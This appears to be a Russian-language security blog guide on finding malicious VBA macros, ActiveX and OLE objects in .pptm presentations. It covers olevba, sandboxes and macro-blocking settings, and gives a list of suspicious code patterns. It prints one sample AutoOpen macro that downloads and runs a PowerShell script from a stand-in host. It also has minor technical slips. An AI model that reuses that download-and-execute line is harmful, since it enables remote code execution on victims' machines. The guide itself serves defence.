Как найти вредоносные элементы в PowerPoint-презентациях (.pptm)

Если вы получили файл .pptm от коллеги, клиента или скачали шаблон из интернета, внутри может скрываться не просто макрос, а полноценная вредоносная нагрузка. Формат .pptm по своей природе поддерживает VBA-код, а значит — может запускать команды в системе. Разберёмся, как такие файлы проверять, что искать и как не навредить себе.

Почему .pptm — это не просто презентация

Расширение .pptm означает, что внутри файла есть макросы — код на VBA (Visual Basic for Applications). Сам по себе макрос не злой. Он может автоматизировать анимацию, подтягивать данные, форматировать слайды. Но тот же VBA умеет:

  • запускать внешние программы через Shell;
  • обращаться к файловой системе и записывать файлы на диск;
  • отправлять сетевые запросы;
  • изменять системные настройки через реестр или WMI;
  • загружать и исполнять другие компоненты.

Именно поэтому злоумышленники любят форматы с макросами: .docm, .xlsm, .pptm. Файл выглядит как обычная презентация, а внутри — исполняемый код.

Где прячется вредоносный код

В основе .pptm лежит формат OOXML — это, по сути, ZIP-архив с набором XML-файлов и папок. Вредоносный код может находиться в нескольких местах:

  • vbaProject.bin — основное хранилище VBA-кода. Именно здесь находятся модули, классы и формы.
  • Макросы на событиях — код, привязанный к открытию файла, закрытию презентации, переходу на слайд.
  • ActiveX-элементы — элементы управления, встроенные в слайды. Могут содержать скрипты и взаимодействовать с системой.
  • OLE-объекты — встроенные файлы (например, Excel-таблицы), внутри которых тоже могут быть макросы.
  • Внешние ссылки и подключения — ссылки на сторонние файлы, веб-ресурсы или данные, которые подгружаются при открытии.

Как безопасно проверить .pptm-файл

Главное правило: никогда не открывайте подозрительный .pptm в PowerPoint с включёнными макросами. Вот пошаговый алгоритм проверки.

Шаг 1. Откройте файл как архив

Переименуйте расширение с .pptm на .zip или откройте файл любым архиватором (7-Zip, WinRAR). Вы увидите внутреннюю структуру:

  • [Content_Types].xml
  • ppt/ — слайды, медиа, настройки
  • docProps/ — свойства документа

Если внутри есть папка word/vbaProject.bin или ppt/vbaProject.bin — файл содержит макросы. Уже это повод быть внимательнее.

Шаг 2. Извлеките и проанализируйте VBA-код

Извлеките vbaProject.bin из архива. Далее есть несколько путей:

  1. olevba (oletools) — Python-библиотека, которая автоматически извлекает и анализирует VBA-макросы из офисных файлов. Установка: pip install oletools. Запуск: olevba путь_к_файлу.pptm. Инструмент покажет исходный код макросов и подозрительные конструкции.
  2. VBA Editor (в PowerPoint) — откройте файл с отключёнными макросами, нажмите Alt+F11, изучите дерево проектов. Смотрите модули, формы, обработчики событий.
  3. pptx2txt или аналоги — для быстрого извлечения текстового содержимого без запуска кода.

Шаг 3. Ищите подозрительные паттерны в коде

При анализе VBA-кода обращайте внимание на следующие конструкции:

  • AutoOpen, AutoClose, Document_Open, Workbook_Open — автоматический запуск при открытии.
  • Shell — запуск внешних процессов.
  • CreateObject("WScript.Shell") — доступ к системной оболочке.
  • CreateObject("MSXML2.XMLHTTP") — сетевые запросы.
  • Environ$ — чтение системных переменных.
  • Kill, Open ... For Output, FileSystemObject — операции с файлами.
  • Обфусцированный код — бессмысленные имена переменных, Chr()-последовательности, Base64-строки.

Если видите код, который вызывает Shell с загрузкой чего-то из интернета — это почти наверняка вредоносный сценарий.

Шаг 4. Проверьте ActiveX и OLE-объекты

В структуре архива поищите:

  • папки ppt/oleData/ или ppt/activeX/;
  • файлы с расширеми .bin, привязанные к ActiveX;
  • подозрительные объекты в XML-файлах слайдов (slide*.xml) — ищите теги <w:object>, <p:oleObj>.

ActiveX-компоненты могут быть легитимными (например, кнопки для навигации), но среди них встречаются элементы, которые запускают скрипты или обращаются к внешним ресурсам.

Инструменты для анализа

Инструмент Что делает Уровень подготовки
olevba (oletools) Извлекает VBA-код, ищет подозрительные паттерны, проводит статический анализ Средний — нужен Python
VirusTotal Загрузите файл — проверка по десяткам антивирусных баз Любой
OfficeMalScanner Извлекает и анализирует макросы из офисных файлов (старый, но рабочий) Начальный
olevba + YARA Написание собственных правил для поиска конкретных вредоносных паттернов Продвинутый
Sandbox (Cuckoo, Any.Run) Запуск файла в изолированной среде с мониторингом действий Продвинутый

Что делать в зависимости от ситуации

Ситуация 1: вы получили файл от неизвестного отправителя. Не открывайте. Проверьте через VirusTotal. Если файл содержит макросы и нет причин им доверять — удалите.

Ситуация 2: файл от знакомого человека, но с макросами. Свяжитесь с отправителем другим каналом и уточните, действительно ли он присылал этот файл. Затем проверьте через olevba — убедитесь, что код не содержит подозрительных вызовов.

Ситуация 3: вы аналитик безопасности или ИТ-специалист. Используйте связку olevba + sandbox. Извлеките код, проверьте статически, затем запустите в изолированной среде и зафиксируйте все системные вызовы, сетевые запросы и изменения в файловой системе.

Ситуация 4: файл нужен для работы, но макросы вызывают подозрение. Откройте файл с отключёнными макросами. Если содержимое отображается нормально и макросы не критичны — работайте без них. Если макросы нужны — попросите автора объяснить, что они делают.

Частые ошибки при проверке

  • Открытие файла с включёнными макросами «просто посмотреть». Это то же самое, что запустить программу с флешки в компьютере. Не делайте так.
  • Проверка только расширения. Файл .pptx тоже может содержать угрозы через внешние ссылки, уязвимости в обработке изображений или встроенные объекты. А .pptm без макросов — безопасен.
  • Игнорирование ложных срабатываний антивируса. Если антивирус ругается на файл — не спешите добавлять его в исключения. Разберитесь, что именно он нашёл.
  • Анализ на рабочей машине. Если подозреваете вредоносный код — анализируйте в виртуальной машине или на выделенном стенде без доступа к корпоративной сети.
  • Доверие к «проверенным» источникам без проверки. Даже файл с корпоративного сервера может быть скомпрометирован. Проверяйте всё.

Как защититься на постоянной основе

  1. Отключите макросы по умолчанию. В PowerPoint: Файл → Параметры → Центр управления безопасностью → Параметры центра управления безопасностью → Параметры макросов. Выберите «Отключать все макросы с уведомлением».
  2. Используйте защищённый просмотр. Файлы из интернета и вложения из почты по умолчанию открываются в режиме защищённого просмотра, где макросы не работают.
  3. Поддерживайте антивирус в актуальном состоянии. Современные антивирусы умеют детектировать макросы с вредоносным поведением ещё до открытия файла.
  4. Обучайте коллег. Большинство заражений происходит не из-за сложных эксплойтов, а потому что человек нажал «Включить содержимое».
  5. Используйте цифровые подписи. Если в вашей организации макросы нужны — подпишите файлы цифровым сертификатом. Неподписанные макросы блокируются автоматически.

Пример: что может выглядеть подозрительный код

Вот фрагмент VBA-кода, который должен насторожить:

Sub AutoOpen()
    Dim x As Object
    Set x = CreateObject("WScript.Shell")
    x.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).downloadString('http://evil.site/payload.ps1')"
End Sub

Этот код при открытии презентации скачивает и выполняет PowerShell-скрипт с внешнего сервера. Классический пример вредоносного макроса. Если вы видите что-то подобное — файл нужно изолировать и передать службе безопасности.

Итог

Выявление вредоносных элементов в .pptm — это не разовое действие, а процесс. Начните с извлечения и анализа VBA-кода через olevba. Проверьте структуру архива на наличие подозрительных объектов. Прогоните файл через VirusTotal. Если работаете в корпоративной среде — настройте блокировку макросов по умолчанию и используйте цифровые подписи для легитимных файлов.

Главное правило: макросы в презентации должны быть оправданы. Если вы не понимаете, зачем они нужны — не включайте. Если файл получен из ненадёжного источника — не открывайте вообще. Эти два простых правила закрывают подавляющее большинство векторов атак через офисные документы.

Оцените статью
PEFile — Безопасность и технологии простым языком